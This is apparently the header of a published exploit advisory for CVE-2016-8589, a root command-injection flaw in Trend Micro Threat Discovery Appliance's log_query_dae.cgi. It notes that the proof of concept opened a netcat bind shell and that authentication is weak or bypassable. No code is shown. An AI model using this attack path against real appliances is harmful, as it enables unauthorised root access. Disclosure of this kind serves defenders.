CVE-2016-8589 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 log_query_dae.cgi Command Injection Remote Code Execution Vulnerability
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 log_query_dae.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch -
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
exec a bind shell using netcat.
- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...
- Auth is now bypassed, please see CVE-2016-7552
